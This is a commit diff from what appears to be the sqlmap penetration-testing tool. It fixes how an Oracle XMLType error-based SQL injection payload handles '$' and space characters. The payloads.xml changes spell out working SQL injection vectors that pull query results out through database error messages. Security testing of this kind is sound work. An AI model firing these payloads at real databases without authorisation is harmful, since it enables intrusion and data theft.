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Oracle XML based error payload has problems with char $ as with space

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This commit is contained in:
Miroslav Stampar 2011-03-21 13:13:12 +00:00
parent 1abcd507b8
commit b5c9ccb755
5 changed files with 19 additions and 6 deletions
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2
lib/controller/checks.py
View File

@ -344,7 +344,7 @@ def checkSqlInjection(place, parameter, value):
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output.replace(kb.misc.space, " ") == "1"
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)

1
lib/core/agent.py
View File

@ -216,6 +216,7 @@ class Agent:
payload = payload.replace("[DELIMITER_START]", kb.misc.start)
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
payload = payload.replace("[DOLLAR_REPLACE]", kb.misc.dollar)
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
if origValue is not None:

1
lib/core/option.py
View File

@ -1256,6 +1256,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
kb.misc.space = ":%s:" % randomStr(length=1, lowercase=True)
kb.misc.dollar = ":%s:" % randomStr(length=1, lowercase=True)
kb.misc.forcedDbms = None
if flushAll:

17
lib/techniques/error/use.py
View File

@ -94,6 +94,8 @@ def __oneShotErrorUse(expression, field):
retVal = output
break
retVal = __errorReplaceChars(retVal)
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal)))
return retVal
@ -134,13 +136,22 @@ def __errorFields(expression, expressionFields, expressionFieldsList, expected=N
if isinstance(num, int):
expression = origExpr
if output:
output = output.replace(kb.misc.space, " ")
outputs.append(output)
return outputs
def __errorReplaceChars(value):
"""
Restores safely replaced characters
"""
retVal = value
if value:
retVal = retVal.replace(kb.misc.space, " ").replace(kb.misc.dollar, "$")
return retVal
def errorUse(expression, expected=None, resumeValue=True, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based

4
xml/payloads.xml
View File

@ -1055,9 +1055,9 @@ Formats:
<risk>0</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
<vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
<request>
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>